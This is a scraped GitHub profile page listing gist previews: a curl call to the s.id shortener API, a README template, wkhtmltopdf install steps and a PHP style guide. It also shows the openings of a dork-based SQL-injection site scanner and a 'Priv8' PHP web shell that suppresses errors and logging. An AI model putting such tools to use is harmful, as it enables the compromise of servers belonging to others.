Skip to content

Instantly share code, notes, and snippets.

View RayhanYulanda's full-sized avatar
Working from home

Rayhan Yulanda RayhanYulanda

Working from home
View GitHub Profile
@codenoid
codenoid / curl.sh
Last active December 25, 2023 09:09
s.id Shortlink Generator Public API
curl 'https://s.id/api/public/link/shorten' -H 'User-Agent: Chrome/62.0 (BSD x86_64; rv:71.0) Gecko/20100101 Firefox/71.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: https://s.id' -H 'Connection: keep-alive' -H 'Referer: https://s.id/' --data 'url=https%3A%2F%2Fne.com'
@AndrHacK
AndrHacK / SQLscanner.py
Created December 28, 2017 18:50
Server Deki Siteleri SQL Taraması Yapma Aracı
#Cretor: cp1254
#Edit By B0RU70 -Update (TR)
import urllib
import os
import re
from time import sleep
def sqlihunt(dork , filename ):
dork= 'IP:'+dork+" php?id= "
file2 =open(filename+'.txt','w')
start=0
@AndrHacK
AndrHacK / Priv8 Up.Php Shell
Created October 21, 2017 11:01
up.php (Priv8 Shell)
<link rel="icon" href="https://i.hizliresim.com/g9ANVb.png" type="image/x-icon"/>
<link rel="shortcut icon" href="https://i.hizliresim.com/g9ANVb.png" type="image/x-icon"/>
<center>
<?php
session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@PurpleBooth
PurpleBooth / README-Template.md
Last active July 24, 2025 05:51
A template to make good README.md

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

@nghuuphuoc
nghuuphuoc / gist:8282411
Last active February 11, 2022 18:45
Install wkhtmltopdf on Centos 6 x64
$ wget http://wkhtmltopdf.googlecode.com/files/wkhtmltopdf-0.9.9-static-amd64.tar.bz2
$ tar xvjf wkhtmltopdf-0.9.9-static-amd64.tar.bz2
$ mv wkhtmltopdf-amd64 /usr/bin/wkhtmltopdf
// In case you got the issue
// wkhtmltopdf: error while loading shared libraries:
// libfontconfig.so.1: cannot open shared object file: No such file or directory
//
// run the command below:
$ yum install urw-fonts libXext libXrender fontconfig libfontconfig.so.1
@ryansechrest
ryansechrest / php-style-guide.md
Last active July 18, 2025 02:30
PHP style guide with coding standards and best practices.

PHP Style Guide

All rules and guidelines in this document apply to PHP files unless otherwise noted. References to PHP/HTML files can be interpreted as files that primarily contain HTML, but use PHP for templating purposes.

The keywords "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119.

Most sections are broken up into two parts:

  1. Overview of all rules with a quick example
  2. Each rule called out with examples of do's and don'ts